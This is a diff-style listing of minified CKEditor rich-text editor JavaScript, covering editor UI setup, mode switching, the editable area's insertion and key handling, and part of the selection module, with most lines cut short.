+topHtml:l?'<span id="'+a.ui.spaceId("top")+'" class="cke_top cke_reset_all" role="presentation" style="height:auto">'+l+"</span>":"",contentId:a.ui.spaceId("contents"),bottomHtml:m?'<span id="'+a.ui.spaceId("bottom")+'" class="cke_bottom cke_reset_all" role="presentation">'+m+"</span>":"",outerEl:CKEDITOR.env.ie?"span":"div"}));if(f==CKEDITOR.ELEMENT_MODE_REPLACE){c.hide();b.insertAfter(c)}else c.append(b);a.container=b;l&&a.ui.space("top").unselectable();m&&a.ui.space("bottom").unselect [...]
+a.config.width;f=a.config.height;c&&b.setStyle("width",CKEDITOR.tools.cssLength(c));f&&a.ui.space("contents").setStyle("height",CKEDITOR.tools.cssLength(f));b.disableContextMenu();CKEDITOR.env.webkit&&b.on("focus",function(){a.focus()});a.fireOnce("uiReady")}function f(a){var b=a.element;if(a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&b.is("textarea")){var c=b.$.form&&new CKEDITOR.dom.element(b.$.form);if(c){var e=function(){a.updateElement()};c.on("submit",e);if(!c.$.submit.nodeName&&! [...]
+CKEDITOR.tools.override(c.$.submit,function(b){return function(){a.updateElement();b.apply?b.apply(this,arguments):b()}});a.on("destroy",function(){c.removeListener("submit",e)})}}}CKEDITOR.replace=function(a,c){return b(a,c,null,CKEDITOR.ELEMENT_MODE_REPLACE)};CKEDITOR.appendTo=function(a,c,e){return b(a,c,e,CKEDITOR.ELEMENT_MODE_APPENDTO)};CKEDITOR.replaceAll=function(){for(var a=document.getElementsByTagName("textarea"),b=0;b<a.length;b++){var c=null,e=a[b];if(e.name||e.id){if(typeof [...]
+"string"){if(!RegExp("(?:^|\\s)"+arguments[0]+"(?:$|\\s)").test(e.className))continue}else if(typeof arguments[0]=="function"){c={};if(arguments[0](e,c)===false)continue}this.replace(e,c)}}};CKEDITOR.editor.prototype.addMode=function(a,b){(this._.modes||(this._.modes={}))[a]=b};CKEDITOR.editor.prototype.setMode=function(a,b){var c=this,e=this._.modes;if(!(a==c.mode||!e||!e[a])){c.fire("beforeSetMode",a);if(c.mode){var f=c.checkDirty();c._.previousMode=c.mode;c.fire("beforeModeUnload");c. [...]
+c.mode=""}this._.modes[a](function(){c.mode=a;if(f!==void 0){c.mayBeDirty=true;!f&&c.resetDirty()}setTimeout(function(){c.fire("mode");b&&b.call(c)},0)})}};CKEDITOR.editor.prototype.resize=function(a,b,c,e){var f=this.container,m=this.ui.space("contents"),n=CKEDITOR.env.webkit&&this.document&&this.document.getWindow().$.frameElement,e=e?f.getChild(1):f;e.setSize("width",a,true);n&&(n.style.width="1%");m.setStyle("height",Math.max(b-(c?0:(e.$.offsetHeight||0)-(m.$.clientHeight||0)),0)+"px [...]
+"100%");this.fire("resize")};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space("contents"):this.container};var e;CKEDITOR.domReady(function(){CKEDITOR.replaceClass&&CKEDITOR.replaceAll(CKEDITOR.replaceClass)})})();CKEDITOR.config.startupMode="wysiwyg";
+(function(){function b(b){var c=b.editor,d=c.editable(),e=b.data.path,f=e.blockLimit,g=b.data.selection.getRanges()[0],j=c.config.enterMode;if(CKEDITOR.env.gecko){var h=e.block||e.blockLimit||e.root,l=h&&h.getLast(a);h&&(h.isBlockBoundary()&&(!l||!(l.type==CKEDITOR.NODE_ELEMENT&&l.isBlockBoundary()))&&!h.is("pre")&&!h.getBogus())&&h.appendBogus()}if(c.config.autoParagraph!==false&&j!=CKEDITOR.ENTER_BR&&g.collapsed&&d.equals(f)&&!e.block){d=g.clone();d.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTE [...]
+e.guard=function(b){return!a(b)||b.type==CKEDITOR.NODE_COMMENT||b.isReadOnly()};if(!e.checkForward()||d.checkStartOfBlock()&&d.checkEndOfBlock()){c=g.fixBlock(true,c.config.enterMode==CKEDITOR.ENTER_DIV?"div":"p");if(CKEDITOR.env.ie)(c=c.getFirst(a))&&(c.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(c.getText()).match(/^(?: |\xa0)$/))&&c.remove();g.select();b.cancel()}}}function c(a){var b=a.data.getTarget();if(b.is("input")){b=b.getAttribute("type");(b=="submit"||b=="reset")&&a.dat [...]
+function a(a){return h(a)&&l(a)}function f(a,b){return function(c){var d=CKEDITOR.dom.element.get(c.data.$.toElement||c.data.$.fromElement||c.data.$.relatedTarget);(!d||!b.equals(d)&&!b.contains(d))&&a.call(this,c)}}function e(b){var c,d=b.getRanges()[0],b=b.root,e=d.startPath(),f={table:1,ul:1,ol:1,dl:1},g=CKEDITOR.dom.walker.bogus();if(e.contains(f)){var j=d.clone();j.collapse(1);j.setStartAt(b,CKEDITOR.POSITION_AFTER_START);j=new CKEDITOR.dom.walker(j);e=function(b,d){return function( [...]
+CKEDITOR.NODE_ELEMENT&&b.is(f))&&(c=b);if(a(b)&&!n&&(!d||!g(b)))return false}};j.guard=e(j);j.checkBackward();if(c){j=d.clone();j.collapse();j.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);j=new CKEDITOR.dom.walker(j);j.guard=e(j,1);c=0;j.checkForward();return c}}return null}function d(a){a.editor.focus();a.editor.fire("saveSnapshot")}function g(a,b){var c=a.editor;!b&&c.getSelection().scrollIntoView();setTimeout(function(){c.fire("saveSnapshot")},0)}CKEDITOR.editable=CKEDITOR.tools.createCla [...]
+$:function(a,b){this.base(b.$||b);this.editor=a;this.hasFocus=false;this.setup()},proto:{focus:function(){this.$[CKEDITOR.env.ie&&this.getDocument().equals(CKEDITOR.document)?"setActive":"focus"]();CKEDITOR.env.safari&&!this.isInline()&&(CKEDITOR.document.getActive().equals(this.getWindow().getFrame())||this.getWindow().focus())},on:function(a,b){var c=Array.prototype.slice.call(arguments,0);if(CKEDITOR.env.ie&&/^focus|blur$/.exec(a)){a=a=="focus"?"focusin":"focusout";b=f(b,this);c[0]=a; [...]
+c)},attachListener:function(a,b,c,d,e,f){!this._.listeners&&(this._.listeners=[]);var g=Array.prototype.slice.call(arguments,1);this._.listeners.push(a.on.apply(a,g))},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,c;for(c in a)if(a.hasOwnProperty(c)){b=a[c];b!==null?this.setAttribute(c,b):this.removeAttribute(c)}},attachClass:function(a){var b=this.getCustomData("classes");if(!th [...]
+(b=[]);b.push(a);this.setCustomData("classes",b);this.addClass(a)}},changeAttr:function(a,b){var c=this.getAttribute(a);if(b!==c){!this._.attrChanges&&(this._.attrChanges={});a in this._.attrChanges||(this._.attrChanges[a]=c);this.setAttribute(a,b)}},insertHtml:function(a,b){d(this);m(this,b=="text"?"text":"html",a)},insertText:function(a){d(this);var b=this.editor,c=b.getSelection().getStartElement().hasAscendant("pre",true)?CKEDITOR.ENTER_BR:b.config.enterMode,b=c==CKEDITOR.ENTER_BR,e= [...]
+a=e.htmlEncode(a.replace(/\r\n/g,"\n")),a=a.replace(/\t/g," "),c=c==CKEDITOR.ENTER_P?"p":"div";if(!b){var f=/\n{2}/g;if(f.test(a))var g="<"+c+">",j="</"+c+">",a=g+a.replace(f,function(){return j+g})+j}a=a.replace(/\n/g,"<br>");b||(a=a.replace(RegExp("<br>(?=</"+c+">)"),function(a){return e.repeat(a,2)}));a=a.replace(/^ | $/g," ");a=a.replace(/(>|\s) /g,function(a,b){return b+" "}).replace(/ (?=<)/g," ");m(this,"text",a)},insertElement:function(b){d(this); [...]
+this.editor,e=c.config.enterMode,f=c.getSelection(),h=f.getRanges(),l=b.getName(),j=CKEDITOR.dtd.$block[l],m,k,B,p=h.length-1;p>=0;p--){m=h[p];if(!m.checkReadOnly()){m.deleteContents(1);k=!p&&b||b.clone(1);var D,u;if(j)for(;(D=m.getCommonAncestor(0,1))&&(u=CKEDITOR.dtd[D.getName()])&&(!u||!u[l]);)if(D.getName()in CKEDITOR.dtd.span)m.splitElement(D);else if(m.checkStartOfBlock()&&m.checkEndOfBlock()){m.setStartBefore(D);m.collapse(true);D.remove()}else m.splitBlock(e==CKEDITOR.ENTER_DIV?" [...]
+c.editable());m.insertNode(k);B||(B=k)}}if(B){m.moveToPosition(B,CKEDITOR.POSITION_AFTER_END);if(j)if((b=B.getNext(a))&&b.type==CKEDITOR.NODE_ELEMENT&&b.is(CKEDITOR.dtd.$block))b.getDtd()["#"]?m.moveToElementEditStart(b):m.moveToElementEditEnd(B);else if(!b&&e!=CKEDITOR.ENTER_BR){b=m.fixBlock(true,e==CKEDITOR.ENTER_DIV?"div":"p");m.moveToElementEditStart(b)}}f.selectRanges([m]);g(this,CKEDITOR.env.opera)},setData:function(a,b){!b&&this.editor.dataProcessor&&(a=this.editor.dataProcessor.t [...]
+this.setHtml(a);this.editor.fire("dataReady")},getData:function(a){var b=this.getHtml();!a&&this.editor.dataProcessor&&(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute("contenteditable",!a)},detach:function(){this.removeClass("cke_editable");var a=this.editor;this._.detach();delete a.document;delete a.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},setup:function(){var a=this.editor;this.attachListener(a,"b [...]
+function(){var b=this.getData();this.is("textarea")||a.config.ignoreEmptyParagraph!==false&&(b=b.replace(k,function(a,b){return b}));a.setData(b,null,1)},this);this.attachListener(a,"getSnapshot",function(a){a.data=this.getData(1)},this);this.attachListener(a,"afterSetData",function(){this.setData(a.getData(1))},this);this.attachListener(a,"loadSnapshot",function(a){this.setData(a.data,1)},this);this.attachListener(a,"beforeFocus",function(){var b=a.getSelection();(b=b&&b.getNative())&&b [...]
+this.focus()},this);this.attachListener(a,"insertHtml",function(a){this.insertHtml(a.data.dataValue,a.data.mode)},this);this.attachListener(a,"insertElement",function(a){this.insertElement(a.data)},this);this.attachListener(a,"insertText",function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass("cke_editable");this.attachClass(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"cke_editable_inline":a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE||a.elementMode==CKED [...]
+"cke_editable_themed":"");this.attachClass("cke_contents_"+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=a.readOnly;a.keystrokeHandler.attach(this);this.on("blur",function(a){CKEDITOR.env.opera&&CKEDITOR.document.getActive().equals(this.isInline()?this:this.getWindow().getFrame())?a.cancel():this.hasFocus=false},null,null,-1);this.on("focus",function(){this.hasFocus=true},null,null,-1);a.focusManager.add(this);if(this.equals(CKEDITOR.document.getActive())){this. [...]
+true;a.once("contentDom",function(){a.focusManager.focus()})}if(!this.is("textarea")){a.document=this.getDocument();a.window=this.getWindow();var b=a.document;this.changeAttr("spellcheck",!a.config.disableNativeSpellChecker);var d=a.config.contentsLangDirection;this.getDirection(1)!=d&&this.changeAttr("dir",d);a.document.equals(CKEDITOR.document)&&this.changeAttr("tabindex",a.tabIndex);var f=CKEDITOR.getCss();if(f){d=b.getHead();if(!d.getCustomData("stylesheet")){f=b.appendStyleText(f);f [...]
+f.owningElement);d.setCustomData("stylesheet",f);f.data("cke-temp",1)}}d=b.getCustomData("stylesheet_ref")||0;b.setCustomData("stylesheet_ref",d+1);this.setCustomData("cke_includeReadonly",!a.config.disableReadonlyStyling);this.attachListener(this,"click",function(a){var a=a.data,b=a.getTarget();b.is("a")&&(a.$.button!=2&&b.isReadOnly())&&a.preventDefault()});this.attachListener(a,"key",function(b){if(a.readOnly)return false;var c=b.data.keyCode,d;if(c in{8:1,46:1}){var i=a.getSelection( [...]
+f=b.startPath(),o,g,l,c=c==8;if(i=e(i)){a.fire("saveSnapshot");b.moveToPosition(i,CKEDITOR.POSITION_BEFORE_START);i.remove();b.select();a.fire("saveSnapshot");d=1}else if(b.collapsed)if((o=f.block)&&b[c?"checkStartOfBlock":"checkEndOfBlock"]()&&(l=o[c?"getPrevious":"getNext"](h))&&l.is("table")){a.fire("saveSnapshot");b[c?"checkEndOfBlock":"checkStartOfBlock"]()&&o.remove();b["moveToElementEdit"+(c?"End":"Start")](l);b.select();a.fire("saveSnapshot");d=1}else if(f.blockLimit&&f.blockLimi [...]
+(g=f.blockLimit.getAscendant("table"))&&b.checkBoundaryOfElement(g,c?CKEDITOR.START:CKEDITOR.END)&&(l=g[c?"getPrevious":"getNext"](h))){a.fire("saveSnapshot");b["moveToElementEdit"+(c?"End":"Start")](l);b.checkStartOfBlock()&&b.checkEndOfBlock()?l.remove():b.select();a.fire("saveSnapshot");d=1}else if((g=f.contains(["td","th","caption"]))&&b.checkBoundaryOfElement(g,c?CKEDITOR.START:CKEDITOR.END))if((l=g[c?"getPreviousSourceNode":"getNextSourceNode"](1,CKEDITOR.NODE_ELEMENT))&&!l.isReadO [...]
+"moveToElementEditEnd":"moveToElementEditStart"](l);b.select();d=1}}return!d});CKEDITOR.env.ie&&this.attachListener(this,"click",c);!CKEDITOR.env.ie&&!CKEDITOR.env.opera&&this.attachListener(this,"mousedown",function(b){var c=b.data.getTarget();if(c.is("img","hr","input","textarea","select")){a.getSelection().selectElement(c);c.is("input","textarea","select")&&b.data.preventDefault()}});CKEDITOR.env.gecko&&this.attachListener(this,"mouseup",function(b){if(b.data.$.button==2){b=b.data.get [...]
+if(!b.getOuterHtml().replace(k,"")){var c=a.createRange();c.moveToElementEditStart(b);c.select(true)}}});if(CKEDITOR.env.webkit){this.attachListener(this,"click",function(a){a.data.getTarget().is("input","select")&&a.data.preventDefault()});this.attachListener(this,"mouseup",function(a){a.data.getTarget().is("input","textarea")&&a.data.preventDefault()})}}}},_:{detach:function(){this.editor.setData(this.editor.getData(),0,1);this.clearListeners();this.restoreAttrs();var a;if(a=this.remov [...]
+a=this.getDocument();var b=a.getHead();if(b.getCustomData("stylesheet")){var c=a.getCustomData("stylesheet_ref");if(--c)a.setCustomData("stylesheet_ref",c);else{a.removeCustomData("stylesheet_ref");b.removeCustomData("stylesheet").remove()}}delete this.editor}}});CKEDITOR.editor.prototype.editable=function(a){var b=this._.editable;if(b&&a)return 0;if(arguments.length)b=this._.editable=a?a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&&b.detach(),null);return b};var k=/( [...]
+h=CKEDITOR.dom.walker.whitespaces(true),l=CKEDITOR.dom.walker.bookmark(false,true);CKEDITOR.on("instanceLoaded",function(a){var c=a.editor;c.on("insertElement",function(a){a=a.data;if(a.type==CKEDITOR.NODE_ELEMENT&&(a.is("input")||a.is("textarea"))){a.getAttribute("contentEditable")!="false"&&a.data("cke-editable",a.hasAttribute("contenteditable")?"true":"1");a.setAttribute("contentEditable",false)}});c.on("selectionChange",function(a){if(!c.readOnly){var d=c.getSelection();if(d&&!d.isLo [...]
+c.fire("lockSnapshot");b(a);c.fire("unlockSnapshot");!d&&c.resetDirty()}}})});CKEDITOR.addCss(".cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}");var m=function(){function b(a){return a.type==CKEDITOR.NODE_ELEMENT}function c(a,d){var e,f,i,g,t=[],h=d.range.startContainer;e=d.range.startPath();for(var h=j[h.getName()],l=0,m=a.getChildren(),q=m.count(),k=-1,z=-1,y=0,s=e.contains(j.$list);l<q;++l){e=m.getItem(l);if(b(e)){i=e.getName();if [...]
+t.concat(c(e,d));else{g=!!h[i];if(i=="br"&&e.data("cke-eol")&&(!l||l==q-1)){y=(f=l?t[l-1].node:m.getItem(l+1))&&(!b(f)||!f.is("br"));f=f&&b(f)&&j.$block[f.getName()]}k==-1&&!g&&(k=l);g||(z=l);t.push({isElement:1,isLineBreak:y,isBlock:e.isBlockBoundary(),hasBlockSibling:f,node:e,name:i,allowed:g});f=y=0}}else t.push({isElement:0,node:e,allowed:1})}if(k>-1)t[k].firstNotAllowed=1;if(z>-1)t[z].lastNotAllowed=1;return t}function d(a,c){var e=[],f=a.getChildren(),o=f.count(),g,t=0,h=j[c],l=!a. [...]
+a.is("br");for(l&&e.push(" ");t<o;t++){g=f.getItem(t);b(g)&&!g.is(h)?e=e.concat(d(g,c)):e.push(g)}l&&e.push(" ");return e}function e(a){return a&&b(a)&&(a.is(j.$removeEmpty)||a.is("a")&&!a.isBlockBoundary())}function f(a,c,d,e){var i=a.clone(),o,g;i.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);if((o=(new CKEDITOR.dom.walker(i)).next())&&b(o)&&l[o.getName()]&&(g=o.getPrevious())&&b(g)&&!g.getParent().equals(a.startContainer)&&d.contains(g)&&e.contains(o)&&o.isIdentical(g)){o.moveChildren(g);o [...]
+f(a,c,d,e)}}function h(a,c){function d(a,c){if(c.isBlock&&c.isElement&&!c.node.is("br")&&b(a)&&a.is("br")){a.remove();return 1}}var e=c.endContainer.getChild(c.endOffset),f=c.endContainer.getChild(c.endOffset-1);e&&d(e,a[a.length-1]);if(f&&d(f,a[0])){c.setEnd(c.endContainer,c.endOffset-1);c.collapse()}}var j=CKEDITOR.dtd,l={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},m={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},k=CKEDITOR.tools.extend({},j.$inline);dele [...]
+s,u){var r=l.editor;l.getDocument();var F=r.getSelection().getRanges()[0];if(!F.checkReadOnly()){var v=(new CKEDITOR.dom.elementPath(F.startContainer,F.root)).blockLimit||F.root,s={type:s,editable:l,editor:r,range:F,blockLimit:v,mergeCandidates:[],zombies:[]},r=s.range,v=s.mergeCandidates,t,w,I,G,C;if(s.type=="text"&&r.shrink(CKEDITOR.SHRINK_ELEMENT,true,false)){w=CKEDITOR.dom.element.createFromHtml("<span> </span>",r.document);r.insertNode(w);r.setStartAfter(w)}I=new CKEDITOR.dom.e [...]
+s.endPath=G=new CKEDITOR.dom.elementPath(r.endContainer);if(!r.collapsed){t=G.block||G.blockLimit;var Q=r.getCommonAncestor();t&&(!t.equals(Q)&&!t.contains(Q)&&r.checkEndOfBlock())&&s.zombies.push(t);r.deleteContents()}for(;(C=b(r.startContainer)&&r.startContainer.getChild(r.startOffset-1))&&b(C)&&C.isBlockBoundary()&&I.contains(C);)r.moveToPosition(C,CKEDITOR.POSITION_BEFORE_END);f(r,s.blockLimit,I,G);if(w){r.setEndBefore(w);r.collapse();w.remove()}w=r.startPath();if(t=w.contains(e,fals [...]
+s.inlineStylesRoot=t;s.inlineStylesPeak=w.lastElement}w=r.createBookmark();(t=w.startNode.getPrevious(a))&&b(t)&&e(t)&&v.push(t);(t=w.startNode.getNext(a))&&b(t)&&e(t)&&v.push(t);for(t=w.startNode;(t=t.getParent())&&e(t);)v.push(t);r.moveToBookmark(w);if(u){C=u;u=s.range;if(s.type=="text"&&s.inlineStylesRoot){w=C;C=s.inlineStylesPeak;r=C.getDocument().createText("{cke-peak}");for(v=s.inlineStylesRoot.getParent();!C.equals(v);){r=r.appendTo(C.clone());C=C.getParent()}C=r.getOuterHtml().re [...]
+w)}w=s.blockLimit.getName();if(/^\s+|\s+$/.test(C)&&"span"in CKEDITOR.dtd[w]){var K='<span data-cke-marker="1"> </span>';C=K+C+K}C=s.editor.dataProcessor.toHtml(C,null,false);w=u.document.createElement("body");w.setHtml(C);if(K){w.getFirst().remove();w.getLast().remove()}if((K=u.startPath().block)&&!(K.getChildCount()==1&&K.getBogus()))a:{var E;if(w.getChildCount()==1&&b(E=w.getFirst())&&E.is(m)){K=E.getElementsByTag("*");u=0;for(r=K.count();u<r;u++){C=K.getItem(u);if(!C.is(k))break [...]
+E.remove()}}s.dataWrapper=w;E=s.range;var K=E.document,x,u=s.blockLimit;w=0;var J;C=[];var H,N,v=r=0,L,O;I=E.startContainer;t=s.endPath.elements[0];var P;G=t.getPosition(I);Q=!!t.getCommonAncestor(I)&&G!=CKEDITOR.POSITION_IDENTICAL&&!(G&CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED);I=c(s.dataWrapper,s);for(h(I,E);w<I.length;w++){G=I[w];if(x=G.isLineBreak){x=E;L=u;var M=void 0,R=void 0;if(G.hasBlockSibling)x=1;else{M=x.startContainer.getAscendant(j.$block,1);if(!M||!M.is({div [...]
+0;else{R=M.getPosition(L);if(R==CKEDITOR.POSITION_IDENTICAL||R==CKEDITOR.POSITION_CONTAINS)x=0;else{L=x.splitElement(M);x.moveToPosition(L,CKEDITOR.POSITION_AFTER_START);x=1}}}}if(x)v=w>0;else{x=E.startPath();if(!G.isBlock&&(N=s.editor.config.enterMode!=CKEDITOR.ENTER_BR&&s.editor.config.autoParagraph!==false?s.editor.config.enterMode==CKEDITOR.ENTER_DIV?"div":"p":false)&&!x.block&&x.blockLimit&&x.blockLimit.equals(E.root)){N=K.createElement(N);!CKEDITOR.env.ie&&N.appendBogus();E.insertN [...]
+(J=N.getBogus())&&J.remove();E.moveToPosition(N,CKEDITOR.POSITION_BEFORE_END)}if((x=E.startPath().block)&&!x.equals(H)){if(J=x.getBogus()){J.remove();C.push(x)}H=x}G.firstNotAllowed&&(r=1);if(r&&G.isElement){x=E.startContainer;for(L=null;x&&!j[x.getName()][G.name];){if(x.equals(u)){x=null;break}L=x;x=x.getParent()}if(x){if(L){O=E.splitElement(L);s.zombies.push(O);s.zombies.push(L)}}else{L=u.getName();P=!w;x=w==I.length-1;L=d(G.node,L);for(var M=[],R=L.length,T=0,U=void 0,V=0,W=-1;T<R;T++ [...]
+if(U==" "){if(!V&&(!P||T)){M.push(new CKEDITOR.dom.text(" "));W=M.length}V=1}else{M.push(U);V=0}}x&&W==M.length&&M.pop();P=M}}if(P){for(;x=P.pop();)E.insertNode(x);P=0}else E.insertNode(G.node);if(G.lastNotAllowed&&w<I.length-1){(O=Q?t:O)&&E.setEndAt(O,CKEDITOR.POSITION_AFTER_START);r=0}E.collapse()}}s.dontMoveCaret=v;s.bogusNeededBlocks=C}J=s.range;var S;O=s.bogusNeededBlocks;for(P=J.createBookmark();H=s.zombies.pop();)if(H.getParent()){N=J.clone();N.moveToElementEditStart(H);N.removeEm [...]
+O.pop();)H.append(CKEDITOR.env.ie?J.document.createText(" "):J.document.createElement("br"));for(;H=s.mergeCandidates.pop();)H.mergeSiblings();J.moveToBookmark(P);if(!s.dontMoveCaret){for(H=b(J.startContainer)&&J.startContainer.getChild(J.startOffset-1);H&&b(H)&&!H.is(j.$empty);){if(H.isBlockBoundary())J.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END);else{if(e(H)&&H.getHtml().match(/(\s| )$/g)){S=null;break}S=J.clone();S.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END)}H=H.getLast(a)} [...]
+g(l)}}}()})();
+(function(){function b(){var a=this.getSelection(1);if(a.getType()!=CKEDITOR.SELECTION_NONE){this.fire("selectionCheck",a);var b=this.elementPath();if(!b.compare(this._.selectionPreviousPath)){this._.selectionPreviousPath=b;this.fire("selectionChange",{selection:a,path:b})}}}function c(){k=true;if(!g){a.call(this);g=CKEDITOR.tools.setTimeout(a,200,this)}}function a(){g=null;if(k){CKEDITOR.tools.setTimeout(b,0,this);k=false}}function f(a){function b(c,d){return!c||c.type==CKEDITOR.NODE_TE [...]
+a.clone()["moveToElementEdit"+(d?"End":"Start")](c)}if(!(a.root instanceof CKEDITOR.editable))return false;var c=a.startContainer,d=a.getPreviousNode(h,null,c),e=a.getNextNode(h,null,c);return b(d)||b(e,1)||!d&&!e&&!(c.type==CKEDITOR.NODE_ELEMENT&&c.isBlockBoundary()&&c.getBogus())?true:false}function e(a){return a.getCustomData("cke-fillingChar")}function d(a,b){var c=a&&a.removeCustomData("cke-fillingChar");if(c){if(b!==false){var d,e=a.getDocument().getSelection().getNative(),f=e&&e.t [...]
+e.getRangeAt(0);if(c.getLength()>1&&f&&f.intersectsNode(c.$)){d=[e.anchorOffset,e.focusOffset];f=e.focusNode==c.$&&e.focusOffset>0;e.anchorNode==c.$&&e.anchorOffset>0&&d[0]--;f&&d[1]--;var g;f=e;if(!f.isCollapsed){g=f.getRangeAt(0);g.setStart(f.anchorNode,f.anchorOffset);g.setEnd(f.focusNode,f.focusOffset);g=g.collapsed}g&&d.unshift(d.pop())}}c.setText(c.getText().replace(/\u200B/g,""));if(d){c=e.getRangeAt(0);c.setStart(c.startContainer,d[0]);c.setEnd(c.startContainer,d[1]);e.removeAllR [...]
+var g,k,h=CKEDITOR.dom.walker.invisible(1);CKEDITOR.on("instanceCreated",function(a){function e(){var a=f.getSelection();a&&a.removeAllRanges()}var f=a.editor;f.define("selectionChange",{errorProof:1});f.on("contentDom",function(){var a=f.document,e=CKEDITOR.document,g=f.editable(),o=a.getBody(),n=a.getDocumentElement(),h=g.isInline();if(CKEDITOR.env.ie||CKEDITOR.env.opera||h){var m;g.attachListener(g,"focus",function(){f.unlockSelection(m);m=0},null,null,-1);var k,D=function(){k=f.getSe [...]
+k.lock()};l?g.attachListener(g,"beforedeactivate",D,null,null,-1):g.attachListener(f,"selectionCheck",D,null,null,-1);g.attachListener(g,"blur",function(){f.lockSelection(k);m=1},null,null,-1);g.attachListener(g,"mousedown",function(){m=0})}if(CKEDITOR.env.ie&&!h){var u;g.attachListener(g,"mousedown",function(a){a.data.$.button==2&&f.document.$.selection.type=="None"&&(u=f.window.getScrollPosition())});g.attachListener(g,"mouseup",function(a){if(a.data.$.button==2&&u){f.document.$.docume [...]
+u.x;f.document.$.documentElement.scrollTop=u.y}u=null});if(a.$.compatMode!="BackCompat"){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)n.on("mousedown",function(a){function b(a){a=a.data.$;if(d){var c=o.$.createTextRange();try{c.moveToPoint(a.x,a.y)}catch(e){}d.setEndPoint(g.compareEndPoints("StartToStart",c)<0?"EndToEnd":"StartToStart",c);d.select()}}function c(){n.removeListener("mousemove",b);e.removeListener("mouseup",c);n.removeListener("mouseup",c);d.select()}a=a.data;if(a.getT [...]
+a.$.y<n.$.clientHeight&&a.$.x<n.$.clientWidth){var d=o.$.createTextRange();try{d.moveToPoint(a.$.x,a.$.y)}catch(f){}var g=d.duplicate();n.on("mousemove",b);e.on("mouseup",c);n.on("mouseup",c)}});if(CKEDITOR.env.version>7){n.on("mousedown",function(a){if(a.data.getTarget().is("html")){e.on("mouseup",r);n.on("mouseup",r)}});var r=function(){e.removeListener("mouseup",r);n.removeListener("mouseup",r);var b=CKEDITOR.document.$.selection,c=b.createRange();b.type!="None"&&c.parentElement().own [...]
+a.$&&c.select()}}}}g.attachListener(g,"selectionchange",b,f);g.attachListener(g,"mouseup",c,f);g.attachListener(g,"keyup",c,f);g.attachListener(g,"focus",function(){f.forceNextSelectionCheck();f.selectionChange(1)});if(CKEDITOR.env.webkit)a.on("keydown",function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:d(f.editable())}},null,null,-1)});f.on("contentDomUnload",f.forceNextSelectionCheck,f);f.on("dataReady",function(){f.select [...]
+CKEDITOR.env.ie9Compat&&f.on("beforeDestroy",e,null,null,9);CKEDITOR.env.webkit&&f.on("setData",e);f.on("contentDomUnload",function(){f.unlockSelection()})});CKEDITOR.on("instanceReady",function(a){var b=a.editor,c=b.editable();if(CKEDITOR.env.webkit){b.on("selectionChange",function(){var a=e(c);a&&(a.getCustomData("ready")?d(c):a.setCustomData("ready",1))},null,null,-1);b.on("beforeSetMode",function(){d(c)},null,null,-1);var f,g,a=function(){var a=b.document,d=e(c);if(d){a=a.$.defaultVi [...]
+a.type=="Caret"&&a.anchorNode==d.$&&(g=1);f=d.getText();d.setText(f.replace(/\u200B/g,""))}},h=function(){var a=b.document,d=e(c);if(d){d.setText(f);if(g){a.$.defaultView.getSelection().setPosition(d.$,d.getLength());g=0}}};b.on("beforeUndoImage",a);b.on("afterUndoImage",h);b.on("beforeGetData",a,null,null,0);b.on("getData",h)}});CKEDITOR.editor.prototype.selectionChange=function(a){(a?b:c).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){if(this._.savedSelection&&!a)return [...]
+return(a=this.editable())?new CKEDITOR.dom.selection(a):null};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);if(a.getType()!=CKEDITOR.SELECTION_NONE){!a.isLocked&&a.lock();this._.savedSelection=a;return true}return false};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;if(b){b.unlock(a);delete this._.savedSelection;return true}return false};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selection [...]
+CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;var l=typeof window.getSelection!="function";CKEDITOR.dom.selection=function(a){var b=a instanceof CKEDITOR.dom.element [...]
+a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=b?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(CKEDITOR.env.webkit){a=this.document.getWindow().$.getSelection();if(a.type=="None"&&this.document.getActive().equals(this.root)||a.type=="Caret"&&a.anchorNode.nodeType==CKEDITOR.NODE_DOCUMENT){var c=new CKEDITOR.dom.range(this.root);c.moveToPosition(this.root,CKEDITOR.POSITION_AFTER_START);b=this.document.$.createRange();b.setStart(c.startContainer.$,c.startOff [...]
